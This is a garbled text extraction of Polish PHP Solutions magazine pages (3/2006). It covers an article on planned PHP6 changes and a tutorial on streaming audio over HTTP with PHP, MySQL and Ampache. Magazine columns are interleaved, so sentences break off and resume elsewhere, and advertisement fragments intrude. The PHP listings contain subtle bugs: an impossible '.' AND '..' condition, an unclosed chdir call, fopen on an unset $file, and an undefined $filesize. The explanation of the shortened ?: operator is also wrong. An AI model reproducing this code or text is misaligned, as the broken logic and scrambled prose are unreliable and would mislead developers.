Kod FastCGI będzie wyczyszczony i zawsze włączony dla CGI SAPI. Nie będzie możliwości wyłączenia tej funkcjonalności.

Długie tablice usunięte

Magic Quotes usunięte

Wraz z ogłoszeniem PHP6, magic quotes znikną najprawdopodobniej raz na zawsze. W przypadku ich użycia rzucany będzie wyjątek E_CORE_ERROR. Wprowadzone zmiany dotyczyć będą magic _ quotes, magic _ quotes _ sybase i magic _ quotes _ gpc.

Zwracanie przez referencję powoduje błąd

Konstrukcje w stylu $foo =& new StdClass() bądź function &foo będą rzucać wyjątek E_STRICT.

Ciekaw jestem, czy Czytelnicy pamiętają jeszcze zmienne globalne HTTP _ * _ VARS. Cóż, w przypadku jeśli ktoś nie używa $ _ GET, $ _ POST, itd. – proponuję rozpocząć to robić, gdyż bardzo prawdopodobne jest, że od PHP6 możliwość stosowania długich tablic będzie niedostępna (pod groźbą wystąpienia E_CORE_ERROR w przypadku ich użycia).

Tryb kompatybilności zend.ze1 usunięty

Zmiany w rozszerzeniach

Nigdy więcej Safe Mode

Wiadomość ta ucieszy zapewne programistów, których klienci domagają się włączania tego trybu. W tym momencie Safe Mode znika raz na zawsze. Krok ten powodowany jest właśnie złym rozumieniem tej funkcjonalności przez osoby postronne. Wielu ludziom wydaje się, że działanie w trybie Safe Mode w jakiś sposób zwiększa bezpieczeństwo PHP, co oczywiście nie jest prawdą. Funkcjonalność open _ R

zend.ze1_compatibility _mode było zawsze próbą podtrzymania starych zachowań PHP4. W związku z tym, że funkcjonalność ta nigdy w 100% nie działała poprawnie, używanie jej w PHP6 będzie prawdopodobnie zabronione, pod groźbą wystąpienia wyjątku E_CORE_ERROR.

Usunięte wsparcie dla Freetype 1 i GD 1

Wsparcie dla tych obydwu (bardzo, bardzo starych) bibliotek będzie usunięte. E K L A M

Rozszerzenia XMLReader i XMLWriter zostaną przeniesione do podstawowej dystrybucji i będą automatycznie włączone. Rozszerzenie ereg zostanie przeniesione do PECL, co oznacza że PCRE nie będzie możliwe do wyłączenia. Dzięki temu można będzie wprowadzić nowe rozszerzenie do obsługi wyrażeń regularnych w oparciu o ICU. Niezmiernie przydatne rozszerzenie Fileinfo będzie przeniesione do podstawowej dystrybucji i automatycznie włączone. A

PHP Solutions Nr 3/2006

www.phpsolmag.org

19

Początki

PHP6
Określanie typu zmiennej na podstawie zwracanej wartości (ang. Type-hinted Return Values): dostaniemy wsparcie dla określania typu zmiennej na podstawie zwracanej wartości. Jak dotąd, nie określono jeszcze, jak będzie wygadać składnia dla tego mechanizmu języka, jednak koncepcja wygląda ciekawie. Wywoływanie funkcji dynamicznych jako statycznych będzie powodować błąd E_FATAL: na dzień dzisiejszy można wywoływać zarówno metody statyczne jak i dynamiczne, bez względu na to, czy są faktycznie dynamiczne czy statyczne. Od PHP6 wywoływanie funkcji dynamicznych jako statycznych będzie powodować powstanie błędu E_FATAL. magic quotes, długie tablice czy indeksowanie napisów za pomocą {} będzie zwyczajnie zmuszać programistów do stosowania poprawnych technik. Z drugiej strony, wiele istniejących skryptów po prostu przestanie działać, zaś w dużej części takich przypadków ponowne uruchomienie aplikacji będzie, bardzo trudne i czasochłonne. Czy to źle? Osobiście, nie sądzę – podejrzewam jednak, że z tego powodu adaptacja PHP6 potrwa jeszcze wolniej niż miało to miejsce w przypadku PHP5. A to raczej nie wyjdzie nikomu na dobre. Jednak wydaje mi się, że taki stanowczy krok musi być kiedyś wykonany. Jak już raz przez to przejdziemy, wtedy będzie o wiele łatwiej rozwijać PHP o dalsze kolejne właściwości, o których dziś trudno nawet marzyć. Warto w tym miejscu wspomnieć o przedsięwzięciu PHP Collaboration Framework (projekt Eclipse PHP i Zend PHP Framework), które skupiło wokół siebie wielu czołowych graczy z branży IT: IBM, Oracle, MySQL czy Intel. Przedsięwzięcie to na dzień dzisiejszy postrzegane jest jako główny motor przyszłych sukcesów platformy PHP. Wspomniana inicjatywa bazuje aktualnie na PHP5, jednak w przyszłości ten albo podobne projekty będą zapewne wspierać PHP6. Na koniec, w ramach ciekawostki warto zaznaczyć, że twórcy PHP nie postrzegają platformy J2EE jako rywala i technologii odniesienia dla dalszego rozwoju PHP. Za technologię, z której chcą czerpać pomysły, uważają raczej Microsoft .NET. W związku z tym można się spodziewać, że w przyszłości wiele rozwiązań zastosowanych w PHP6 będzie opierać się właśnie na pomysłach stosowanych w .NET. Zainteresowanym polecam lekturę pełnego sprawozdania ze spotkania w Paryżu; jest ono dostępne pod adresem: http://www.php.net/~derick/meetingnotes.html n

Rozszerzenia silnika PHP

64-bitowy typ całkowity: PHP zostanietakże rozszerzone o całkowicie nowy, już 64-bitowy typ całkowity (int64). Nie będzie typu int32. Goto: komenda goto nie będzie dodana, za to słowo kluczowe break będzie rozszerzone o statyczną etykietę. Dzięki temu można będzie użyć konstrukcji break foo w celu wykonania skoku do etykiety foo: umieszczonej w kodzie źródłowym. Ifsetor(): wygląda na to, że funkcjonalność ta będzie usunięta (niestety). Jednak w zastępstwie tego operator ?: nie będzie wymagał środkowego parametru, dzięki czemu możliwe będzie używanie następującej konstrukcji:
$foo = $_GET['foo'] ?: 42;

Rozszerzenia PHP

(jeśli foo is prawdą, to $foo będzie równe 42). Taki zapis powinien zaoszczędzić trochę zbędnego pisania kodu, ale osobiście wydaje mi się, że jego czytelność pozostawia wiele do życzenia. foreach dla tablic wielowymiarowych: to zdecydowanie miła zmiana, która pozwoli łatwo iterować po listach tablic.
foreach( $a as $k => list($a, $b))

{} kontra []: na dzień dzisiejszy przy odwoływaniu się do poszczególnych znaków w napisach możliwe jest używanie zarówno notacji {} jak i []. Jednak już od PHP5.1 notacja {} będzie powodować rzucanie wyjątku E_STRICT zaś od PHP6 będzie ona całkowicie niedostępna. Dodatkowo przy pomocy [] będzie można odwoływać się do fragmentów napisu i korzystać z funkcjonalności oferowanej przez array _ slice (na przykład: [2,]). W mojej opinii jest to bardzo pomocne rozszerzenie.

APC będzie umieszczone w podstawowej dystrybucji: APC będzie standardowo dołączone do podstawowej dystrybucji PHP, jednak nie będzie automatycznie włączone. Wzmacniająca łata dla PHP: łata ta ma implementować zbiór dodatkowych testów powiązanych z bezpieczeństwem PHP. Warto wymienić następujące usprawnienia w tym zakresie: ochrona przed dzieleniem odpowiedzi HTTP, podział allow _ url _ fopen na dwie częsci: allow _ url _ fopen i allow _ url _ include, automatyczne włączenie allow _ url _ fopen i automatyczne wyłączenie allow _ url _ include. E_STRICT dołączone z E_ALL: to coś naprawdę poważnego! Wiadomości na poziomie E_STRICT będą automatycznie dołączone do E_ALL. Jest to zdecydowany ruch w stronę przymusowej edukacji programistów w zakresie stosowania właściwych praktyk programowania w PHP. Koniec z notacją <%: oznacza to koniec wspierania tagów w stylu ASP, nadal pozostanie jednak skrócony tag <?.

Zmiany związane z obiektowością

Podsumowanie

Statyczne Wiązanie (ang. Static Binding): wprowadzone będzie nowe słowo kluczowe, aby pozwolić na wykonywanie późnych wiązań statycznych. Wywołanie static::static2() będzie odpowiedzial, ne za ewaluację zmiennych statycznych na etapie czasu wykonania. Przestrzenie nazw (ang. Namespaces): wygląda na to, że ta kwestia jest ciągle nierozstrzygnięta... trzeba jeszcze trochę poczekać na ostateczną decyzję.

Mówiąc krótko: PHP6 w zdecydowany sposób wyznacza nowe interesujące kierunki i przeciera nowe ścieżki. Wygląda na to, że twórcy technologii mają ambicje wymusić stosowanie właściwych technik programistycznych poprzez odrzucenie starego paradygmatu kodowania w stylu: cóż, POWINIENEŚ wykonać to w ten sposób, ale zawsze możesz zrobić to po staremu. Od PHP6 nie będzie już robienia rzeczy po staremu. Usunięcie takich naleciałości języka jak zmienne globalne,

O autorze
Richard Davey jest programistą posiadającym certyfikat Zend. Pracuje głównie z aplikacjami związanymi z grami komputerowymi. Posiada własny blog poświęcony PHP, dostępny pod adresem http://www.corephp.co.uk. Richard od 1996 programuje aplikacje webowe i nadal zdumiony jest kierunkiem w którym rozwija się Sieć i PHP. Autor żyje wraz z żoną w Anglii.

20

www.phpsolmag.org

PHP Solutions Nr 3/2006

Techniki

Strumieniowa transmisja dźwięku przez HTTP z wykorzystaniem Ampache
Karl Vollmer

Stopień trudności: lll

Do stworzenia portalu multimedialnego nie trzeba drogich, komercyjnych, wydzielonych serwerów. Wystarczą PHP, serwer Apache oraz baza MySQL. W artykule pokażemy kompletne rozwiązanie umożliwiające streaming audio.

A
W SIECI
1. http://www.faqs.org/rfcs/ rfc2616.html – RFC 2616 (nagłówki HTTP) 2. https://svn.ampache.org/trunk/lib/ stream.lib.php – Ampache Public SVN (przykłady kodu) 3. https://svn.ampache.org/trunk/play/ index.php – kod źródłowy, który wykorzystaliśmy 4. http://www.ampache.org – Ampache Development 5. https://ampache.bountysource.com

mpache to wydawany na licencji GNU General Public License interfejs WWW do strumieniowych transmisji różnych formatów plików dźwiękowych przez protokół HTTP. Można go także stosować do nadzorowania serwerów MPD, Icecast2 i Moosic (ta funkcja Ampache jest często stosowana do zdalnej obsługi domowego zestawu stereo). Przez ostatnie cztery lata kod Ampache odpowiedzialny za strumieniowanie ewoluował od wykorzystania modułu Mod::mp3 serwera Apache do samodzielnej obsługi transmisji wzbogaconej o możliwość transkodowania, downsamplingu oraz wyszukiwania strumieni przez HTTP i HTTPS. W niniejszym artykule stworzymy aplikację do rekursywnego katalogowania plików muzycznych oraz wyświetlania tych danych. Następnie zajmiemy się transmisjami strumieniowymi dźwięku przez protokół HTTP za pomocą PHP, a potem zastosujemy downsampling. Na koniec omó-

wimy różne metody monitorowania piosenek aktualnie odsłuchiwanych przez użytkowników skryptu i zachowanie różnych klientów.

Robimy odtwarzacz

Przejdźmy do skatalogowania plików dźwiękowych. Proces ten będzie się opierał na wzorcach nazw plików – do indeksowania według danych ze znaczników ID3 potrzebny byłby skrypt getid3() (http:

Co powinieneś wiedzieć...

Konieczna jest podstawowa znajomość PHP i Apache. Wskazane jest też doświadczenie w konfiguracji PHP i znajomość terminologii związanej z audycjami internetowymi.

Co obiecujemy...

Stworzymy aplikację, która przygotuje rekursywny katalog plików dźwiękowych oraz umożliwi ich strumieniowanie oraz downsampling.

22

www.phpsolmag.org

PHP Solutions Nr 3/2006

streaming audio w PHP

Techniki

Wymagania
l l

l

PHP 4.1.2 lub nowsze MySQL 3.2.3 lub nowsza z kontem umożliwiającym stworzenie nowej bazy Serwer WWW obsługujący PHP (Apache, IIS lub inny) Pobierz najnowsze archiwum z http:/ /ampache.org /downloads / current.tar.gz i rozpakuj je do głównego katalogu serwera WWW. Uruchom przeglądarkę i skieruj ją do głównego katalogu rozpakowanego Ampache. Wykonuj pojawiające się polecenia.

Listing 1. Tabela bazy danych przechowująca dane o utworach muzycznych
CREATE TABLE `music` ( `id` int(11) unsigned NOT NULL auto_increment, `file` varchar(255) NOT NULL default '', `title` varchar(255) NOT NULL default '', `album` varchar (255) NOT NULL default '', `artist` varchar(255) NOT NULL default '', `size` int(11) unsigned NOT NULL default '0', KEY `album` (`album`), KEY `artist` (`artist`), KEY `id` (`id`), KEY `file` (`file`), ) TYPE=MyISAM;

Instalacja Ampache
l

l

l

//getid3.org). Dane będziemy przechowywać w bazie danych z jedną tabelą (patrz Listing 1). Każdy z wierszy tabeli będzie zawierał informacje o tytule utworu, albumie, wykonawcy i rozmiarze pliku.

Praca nad katalogiem

Nasz skrypt katalogujący będzie nosił nazwę katalog.php (patrz Listing 2). Trzeba pamiętać, że domyślnie każdy skrypt PHP wygasa po 30 sekundach. Aby temu zapobiec (jest to konieczne w przypadku dużych katalogów), ustawimy parametr time_limit na 0 za pomocą wbudowanej funkcji PHP set_time_limit(). Następnie spróbujemy utworzyć połączenie z bazą danych. Jeśli będzie to niemożliwe, program przestanie się wykonywać dzięki wyrażeniu or_die(). Kolejną ważną rzeczą jest zdefiniowanie tablicy $extensions, zawierającej typy plików brane pod uwagę podczas przeszukiwania muzyki. Ustawiliśmy obsługę rozszerzeń mp3, ogg i flac, ale do tej listy można dodać dowolne formaty plików. Kolejnym krokiem będzie zdefiniowanie tablicy $tags oraz zmiennej tekstowej $pattern. Przydadzą się one później, na-

piszemy bowiem kod, który będzie automatycznie parsował nazwę pliku i pobierał z niej informacje o wykonawcy, albumie i tytule utworu. Zmienna $pattern zdefiniuje wzorzec parsowania nazwy, zaś za pomocą $tags połączymy przetworzone części z etykietami artist, album i title. Na koniec umieścimy wywołanie funkcji gather_files(), która rozpocznie wyszukiwanie muzyki w katalogach na dysku. Podamy jej parametr określający katalog, w którym należy rozpocząć przeszukiwanie (w tym przypadku będzie to katalog główny). Przyszedł czas na zdefiniowanie funkcji gather_files(). Rozpoczyna ona swoje działanie od otwarcia głównego katalogu, który zostaje podany jako parametr ($path), a następnie rekursywnie (pętla while) wyszukuje w aktualnym katalogu pliki, których rozszerzenia są wymienione w tablicy globalnej $extensions, a zdefiniowanej wcześniej. Funkcja pomija pliki o nazwach „.” i “..” poprzez przeskok do następnej iteracji while (przy użyciu continue). Jeżeli odnajdzie podkatalog o innej nazwie, wywołuje się sama z nazwą katalogu podaną jako argument. W celu uniknięcia ryzyka wskazania na dowiązanie symboliczne i podążenia za nim, co mogłoby prowadzić do

niekończącej się pętli, otwieramy podkatalog wyłącznie wtedy, gdy jest on dowiązaniem twardym (sprawdzamy to za pomocą is_link()). Wreszcie, jeżeli nazwa wskazuje na plik, a nie na katalog, sprawdzamy za pośrednictwem jego rozszerzenia (znajdującego się w $GLOBALS['extension']) poprawność pliku audio. Jeżeli plik jest poprawny, pobieramy jego dane za pomocą funkcji get_file_info(), której jeszcze nie stworzyliśmy. Potem dodajemy te informacje do bazy danych przy użyciu kolejnej niestworzonej jeszcze funkcji – insert_file().

Potrzebne informacje

Stwórzmy teraz funkcję get_file_info(). Funkcja ta pobierze pełną nazwę każdego kolejnego pliku jako swój jedyny argument i zwróci tablicę asocjacyjną z danymi o każdym utworze muzycznym. Jak już wspomniano, użyjemy wzorców i znaczników do pobrania nazwy albumu, wykonawcy i piosenki z nazwy pliku. Warto byłoby dowiedzieć się, w jaki sposób to działa.

Downsampling z użyciem zewnętrznych narzędzi
Mp3splt dzieli plik MP3 przed wysłaniem go do LAME w celu ponownego zakodowania. Ampache umożliwia konfigurację, jednak domyślne polecenie downsamplingu wygląda następująco:
mp3splt -qnf %FILE% %OFFSET% %EOF% -o | lame --mp3input -q 3 -b %SAMPLE% -S - -

Łańcuchy między znakami % są zastępowane przez zmienną.
Rysunek 1. Widok albumu w Ampache

PHP Solutions Nr 3/2006

www.phpsolmag.org

23

Techniki

streaming audio w PHP
logami, można jednak użyć innego znaku, na przykład myślnika (-) lub podkreślnika (_). W rezultacie wzorzec %a/%A/%t oznacza album/wykonawca/tytul. Nasza funkcja wymaga również zdefiniowania innej zmiennej globalnej: $GLOBALS['tags']. Jest to tablica asocjacyjna wiążąca atrybuty z nazwami znaczników, które będą użyte do generowania wyników zwracanych przez funkcję. Na początku funkcja get_file_info() tworzy tablicę $results zawierającą jedno pole o nazwie file, które wskazuje na pełną ścieżkę podaną jako parametr. Następnie dokonuje iteracji na wszystkich możliwych znacznikach wzorca zdefiniowanych w $GLOBALS['tags']. To właśnie ta funkcja, wykorzystuje je do konstrukcji wyrażeń regularnych, które pomogą pobrać dane odpowiadające atrybutom wskazywanym przez znaczniki. Otrzymane dane będą przechowywane w $results pod nazwą każdego ze znaczników. Po zebraniu wszystkich potrzebnych informacji funkcja zwraca tablicę $results zawierającą nazwę pliku, album, nazwę wykonawcy i tytuł utworu.

Przyjrzyjmy się najpierw globalnej zmiennej tekstowej $pattern. Zawiera ona wzorzec, który wskazuje tej funkcji, w jaki sposób nazwa pliku powinna zostać podzielona na części. Każda część jest opisana kilkoma znakami (atrybutem) – tutaj użyjemy %t dla tytułu piosenki, %a dla albumu oraz %A dla wykonawcy. Wszystkie atrybuty w łańcuchu są rozdzielone znakiem separatora – my używamy /, co oznacza, że części będą kolejnymi kataListing 2. Zawartość /catalog.php

<?php set_time_limit(0); $dbh = mysql_connect('localhost','user','password') or die ('BŁĄD: nie można połączyć się z bazą danych'); $extensions = array('mp3','ogg','flac'); $tags = array('title'=>'%t','album'=>'%a','artist'=>'%A'); $pattern = '%a/%A/%t'; //definicja wzorca nazwy pliku; ignoruje rozszerzenie gather_files('/home/mymusic'); // rozpoczęcie zbierania plików function gather_files($path) { $handle = opendir(stripslashes($path)); // otwiera katalog while ( false !== ( $file = readdir($handle) ) ) { $file = addslashes($file); // konieczne do uniknięcia ' w nazwach plików if ($file == "." AND $file == "..") { continue; } @chdir(stripslashes($path); $full_file = stripslashes($path."/".$file); $full_file = str_replace("//","/",$full_file); if (is_dir($full_file)) {gather_files($full_file); continue;} $info = pathinfo($full_file); // pobierz dane o pliku if (in_array($info[‘extension’],$GLOBALS['extensions'])) { $file_info = get_file_info($full_file); // pobierz informacje o pliku insert_file($file_info);} } // zakończ, jeśli bieżący katalog @closedir($handle); // zamknij uchwyt katalogu } function get_file_info($full_file) { $results = array('file'=>$full_file); foreach ($GLOBALS['tags'] as $name=>$tag) { $preg_pattern = str_replace($tag,"(.+)",$GLOBALS['pattern']); $preg_pattern = preg_replace("/\%\w/",".+",$preg_pattern); $preg_pattern = "/" . str_replace("/","\/",$preg_pattern) . "\..+/"; preg_match($preg_pattern,$full_file,$matches); $results[$name] = stripslashes($matches[1]); } return $results; } function insert_file($data) { $title = sql_escape($data['title']); $album= sql_escape($data[‘album’]); $artist = sql_escape($data['artist']); $file = sql_escape($data['file']); $size = filesize($data['file']); $sql = "INSERT INTO `music` (`title`,`album`,`artist`,`file`,`size`) VALUES"." ('$title','$album','$artist','$file','$size')"; $db_results = mysql_query($sql, $GLOBALS['dbh']); return true; } function sql_escape($string,$dbh=0) { if (!is_resource($dbh)) { $dbh = $GLOBALS['dbh']; } if (function_exists('mysql_real_escape_string')) { $string = mysql_real_escape_string($string,$dbh); }else { $string = mysql_escape_string($string); } return $string; } ?>

Umieszczenie informacji w bazie danych

Czas na utworzenie funkcji insert_file(), która doda zebrane informacje (podane jako parametr) do bazy danych. Dane zostaną oczyszczone, a z bazy będą pobierane oddzielne elementy. Aby je uporządkować, użyjemy funkcji sql_escape(), którą zresztą będziemy musieli utworzyć. Jest ona dostosowana do MySQL, więc w przypadku korzystania z innej bazy należy ją odpowiednio zmodyfikować. Po oczyszczeniu elementów skorzystamy z funkcji PHP filesize() w celu pobrania rozmiaru pliku — informacja ta zostanie umieszczona w rekordzie bazy danych, który również zostanie dodany (będzie potrzebny podczas transmisji). Musimy też utworzyć zapytanie SQL i wykonać je za pomocą mysql_query() na uchwycie bazy danych $GLOBALS['dbh']. Dzięki temu dane zostaną dodane do bazy.

Kurtyna w górę

Skatalogowaliśmy już muzykę i zapisaliśmy dane o utworach w bazie danych. Teraz musimy znaleźć sposób, aby je wyświetlić. Na Listingu 3 przedstawiono prosty interfejs (index.php), który wyświetla całą kolekcję. Skrypt ten pokazuje wszystkie utwory, co mogłoby znacznie spowolnić jego wykonywanie w przypadku dużych zbiorów muzycznych, ale dla naszych potrzeb jest odpowiedni, a w dodatku można go łatwo rozbudować. Połączymy się z bazą danych przy użyciu wyrażenia or_die(), co zatrzyma wykonywanie skryptu w razie błędu połączenia. Uchwytem bazy danych jest $GLOBALS['dbh']. Następnie wykonujemy proste zapytanie SELECT * FROM music

24

www.phpsolmag.org

PHP Solutions Nr 3/2006

streaming audio w PHP
Wszystkie pokazane tam odnośniki do odtwarzania wybranych utworów wskazują na /play/index.php (kod źródłowy można przeglądać pod adresem https: //svn.ampache.org/trunk/play/index.php) – jest to po prostu bardziej rozbudowana wersja skryptu play.php. Po uruchomieniu /play/index.php w przeglądarce WWW zobaczymy, że plik ten został uznany przez aplikację za plik dźwiękowy (Rysunek 2). Stwórzmy teraz plik play.php (Listing 4). Będzie to kompletny skrypt, zdolny do strumieniowania plików OGG, FLAC i MP3 na podstawie ID utworu. Umożliwi on też downsampling oraz przeszukiwanie określonej części pliku. Tak jak w przypadku poprzednich skryptów, zaczniemy od połączenia z bazą. Następnie pobierzemy dane utworu z bazy danych za pomocą ID przekazanego do skryptu. Typ pliku ustawimy na podstawie rozszerzenia pliku odczytanego z pola file w wynikach. Będzie to MP3, OGG lub FLAC — przygotujemy też odpowiedni nagłówek Content-type (audio/mpeg, application/x-ogg lub audio/x-flac).

Techniki

Listing 3. Zawartość /index.php
<?php $dbh = mysql_connect ('localhost','user','password') or die ('BŁĄD: nie można połączyć się z bazą danych'); $sql = "SELECT * FROM music ORDER BY title"; $db_results = mysql_query ($sql, $GLOBALS['dbh']); ?> <p>Oglądanie utworów:</p> <dl> <?php while ($r = mysql_fetch_assoc( $db_results)) { $link = "/play.php?song_id=" . $r['id']; $name = $r['album'] . ' - ' . $r['artist'] . ' - ' . $r['title'] ?> <dd><a href=" <?php echo $link; ?>"> <?php echo $name; ?></a></dd> <?php } // end while loop ?> </dl>

Można zauważyć, że w przypadku pliku FLAC rozszerzenie ma postać .ogg: jest to spowodowane błędem w niektórych wersjach odtwarzacza Winamp. Nie jest on w stanie rozpoznać, co powinien zrobić z plikiem .flac, więc musimy sprawić, aby traktował go jako .ogg, jednocześnie pozostawiając Content-Type w postaci audio/x-flac – dzięki temu klient zastosuje właściwy kodek. Następnie za pomocą wyrażenia header() przekażemy mu dwa nagłówki: Content-type:, zawierający przygotowane dane oraz Content-Disposition: z łańcuchem rozszerzenia pliku. Wysyłanie tych nagłówków to jedna z najważniejszych funkcji całej aplikacji, ponieważ zmusza ona aplikację kliencką, aby uznała plik za dźwiękowy, choć w rzeczywistości jest to plik PHP. Następnie powinniśmy ustawić w pliku php.ini zmienną time_limit na 0, co zapobiegnie wygaśnięciu skryptu oraz wyłączyć magic quotes podczas uruchamiania (set_magic_quotes_runtime(0)), aby zabezpieczyć fread(). Teraz otwieramy

ORDER BY title,

które wybierze wszystkie wiersze z tabeli music i poukłada je według tytułu (pole title). Potem za pomocą wyrażenia while() dokonamy iteracji na zwróconych wynikach. Dla każdego wiersza zostanie utworzony odsyłacz ($link) do skryptu play.php, który stworzymy później, razem z ID aktualnej piosenki jako parametrem. Razem z $link zostanie utworzony łańcuch $name, zawierający informacje o aktualnym utworze, albumie, wykonawcy i tytule wyświetlane przy każdym odsyłaczu. Dzięki temu skrypt wyświetli kompletny odsyłacz.

Now Playing

Now Playing (Teraz odtwarzane) to popularna funkcja Ampache, która umożliwia obserwowanie aktualnie transmitowanych plików. Została ona dodana w marcu 2004 r. i była jedną z trudniejszych do zaimplementowania opcji. Trudność wynika z pasywnej natury HTTP i różnic między aplikacjami klienckimi. Istnieją dwa podstawowe typy klientów – chciwe i uprzejme. Chciwe klienty, na przykład Windows Media Player, próbują pobrać plik najszybciej, jak to możliwe. Klienty uprzejme, takie jak XMMS, pobierają tylko dane potrzebne do zapełnienia bufora. Funkcja Now Playing wymaga wspólnego miejsca (np. bazy danych) przechowywania danych operacyjnych. Istnieje kilka algorytmów określania aktualnie odtwarzanego na serwerze utworu. Podstawowa metoda jest następująca:
l

l

przechowywanie rekordu z unikalnym ID i czasem wygaśnięcia równym time() + długość utworu, garbage collection na utworach, które wygasły.

Transmisja strumieniowa: niech gra muzyka

Przejdźmy teraz do właściwej transmisji. Jak już wspomniano, stworzymy skrypt play.php, który zajmie się transmisją wybranego pliku. Warto zauważyć, że nie możemy strumieniować pliku w tym samym skrypcie, który generuje interfejs – transmisja opiera się na manipulacji nagłówkami HTTP, która byłaby niemożliwa w obrębie jednego skryptu. Poprzez te manipulacje informujemy przeglądarkę, że udostępniany jest plik dźwiękowy, a nie skrypt PHP. Na Rysunku 1 przedstawiono widok albumu w Ampache (za http://ampache.org).

Druga metoda wykorzystuje wywołanie ignore_user_abort(TRUE), co powoduje zignorowanie przez PHP sygnału przerwania wysyłanego przez klienta i wyczyszczenie pamięci na samym końcu skryptu. Metoda ta pozwala uniknąć wielu wpisów Now Playing w przypadku, gdy użytkownik nacisnął next przed końcem utworu – nie działa jednak z chciwymi klientami, które zamykają połączenie na długo przed końcem piosenki. Ampache wykorzystuje algorytm stosowany przez inne popularne internetowe szafy grające, który jest połączeniem dwóch metod. Załóżmy, że w jakiś sposób monitorujemy użytkowników i mamy następującą strukturę tabeli MySQL:
`id` int(11) unsigned NOT NULL auto_increment `session` varchar(64) default NULL `song` varchar(255) default NULL `expire` int(11) unsigned NOT NULL default '0'

Kiedy strumień zostaje wywołany, serwer wykrywa wartość User Agent przez sprawdzenie globalnej $_SERVER[HTTP_USER_AGENT]. W przypadku chciwego klienta serwer ustawia czas wygaśnięcia na time()+song_length. W innym wypadku ustawia go na time() + 86400, czyli dobę od danej chwili. Następnie sprawdzamy, czy klient jest chciwy i czy użytkownik odtwarza już utwór. Jeśli spełnione są oba warunki, usuwamy poprzedni rekord. Dotyczy to sytuacji, kiedy zostaje naciśnięty przycisk Next przed końcem utworu. ignore_ user_abort(TRUE) jest używane w przypadku uprzejmych klientów. Na samym końcu skryptu, jeśli klient nie jest chciwy, usuwany jest wpis dodany w czasie otwarcia strumienia.

PHP Solutions Nr 3/2006

www.phpsolmag.org

25

Techniki

streaming audio w PHP

plik z utworem. Jeżeli opcja PHP Safemode ma wartość On, funkcja set_time_limit() nie zadziała. Jedynym obejściem tego problemu poza wyłączeniem Safemode jest zwiększenie max_execution_time w php.ini. Powinniśmy również wysłać inną parę nagłówków: Accept-Ranges: i ContentLength:. Są one potrzebne do wyszukiwania określonego miejsca w pliku. Accept_ Ranges: bytes informuje aplikację kliencką, że może zażądać określonego zakresu bajtów pliku. Bez tego nagłówka większość odtwarzaczy nie będzie umożliwiać wyszukiwania. Nagłówek Content-Length pomaga aplikacji klienckiej ustalić długość pliku. Po otwarciu pliku sprawdzamy początkowy offset żądanego bajtu ($start_ offset). Jeżeli zostanie on znaleziony, użyjemy funkcji PHP fseek() w celu przeskoczenia do danej części pliku. Jeżeli używana jest funkcja fseek(), mu-

Rysunek 2. Próba otwarcia pliku dźwiękowego w przeglądarce simy także dodać nagłówki 206 Partial Content i Content-Range – dzięki temu klient będzie wiedzieć, że nie otrzymuje całego pliku oraz będzie znać początek zawartości.

Strumieniowanie pliku

Listing 4. Zawartość /play.php
<?php $dbh=mysql_connect('localhost','user','password') or die ('BŁĄD: nie można połączyć się z bazą danych'); $sql="SELECT file FROM music WHERE id='" . sql_escape($_REQUEST['song_id'])."'"; $db_results = mysql_query($sql, $GLOBALS['dbh']); $results = mysql_fetch_assoc($db_results); $filename = $results['file']; $info = pathinfo($filename); $extension = $info['extension']; switch ($extension) { case 'mp3': $content_type = "audio/mpeg"; break; case 'ogg': $content_type = "application/x-ogg"; break; case 'flac': $content_type = "audio/x-flac"; $extension = "ogg"; break;} header('Content-type: ' . $content_type . ';'); header('Content-Disposition: filename=song.' . $extension); set_time_limit(0); set_magic_quotes_runtime(0); $fp = @fopen($file,'r'); header('Accept-Ranges: bytes'); header('Content-Length: ' . filesize($filename)); $startArray = sscanf($_SERVER['HTTP_RANGE'],"bytes=%d-"); $start_offset = $startArray['0']; If ($start_offset) { fseek($fp, $start_offset); $range = $start_offset . '-' . $filesize . '/' . $filesize; header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes=$range"); } while (!feof($fp) && (connection_status() == 0)) { $buf = fread($fp,8192); print($buf); } @fclose($fp); ?>

Możemy wreszcie rozpocząć transmisję strumieniową pliku. Zrobimy to w ramach pętli while, która sprawdzi początek i koniec pliku lub ewentualnie przerwane połączenie, odczyta 8192 bajtów z pliku i poda dane wyjściowe za pomocą print(). Nasza aplikacja jest gotowa.

Downsampling

Skoro nasza aplikacja jest ukończona i działa bez zarzutu, powinniśmy wyposażyć ją w dodatkową funkcję downsamplingu, czyli możliwość zmniejszania częstotliwości próbkowania utworu. Funkcja taka może być przydatna podczas przygotowywania audycji internetowych niskiej jakości, np. w przypadku wolnego łącza lub gdy chcemy prezentować wersje demonstracyjne płatnych utworów. Ampache wykorzystuje LAME do obniżania częstotliwości próbkowania plików dźwiękowych (patrz Ramka Downsampling za pomocą zewnętrznych programów). Ponieważ plik zostanie ponownie zakodowany, wyszukiwanie wymaga, abyśmy użyli dodatkowego programu o nazwie mp3splt. Przeprowadzenie downsamplingu w locie wymaga niewielkiej modyfikacji kodu z Listingu 4. Po pierwsze musimy ręcznie ustawić pewne związane z utworem zmienne (skrypt nie będzie uniwersalny, ale można go łatwo rozbudować):
l l

l

bitrate ($song _ bitrate), częstotliwość próbkowania ($sample _ rate), czas trwania ($song _ time).

26

www.phpsolmag.org

PHP Solutions Nr 3/2006

streaming audio w PHP
Dodatkowe informacje, takie jak bitrate i długość utworu, można zebrać przy użyciu biblioteki getid3(). Po wysłaniu pierwszych dwóch nagłówków (Content-type i ContentDisposition) obliczymy sample_ratio na podstawie częstotliwości próbkowania oraz ustawione próbkowanie piosenki:
if (($sample_rate*1000)>$song_bitrate){ $sample_rate = $song_bitrate/1000; $sample_ratio = '1'; } else { $sample_ratio = $sample_rate/ ($song_bitrate/1000); }

Techniki

Listing 5. Zawartość /play.php with downsampling
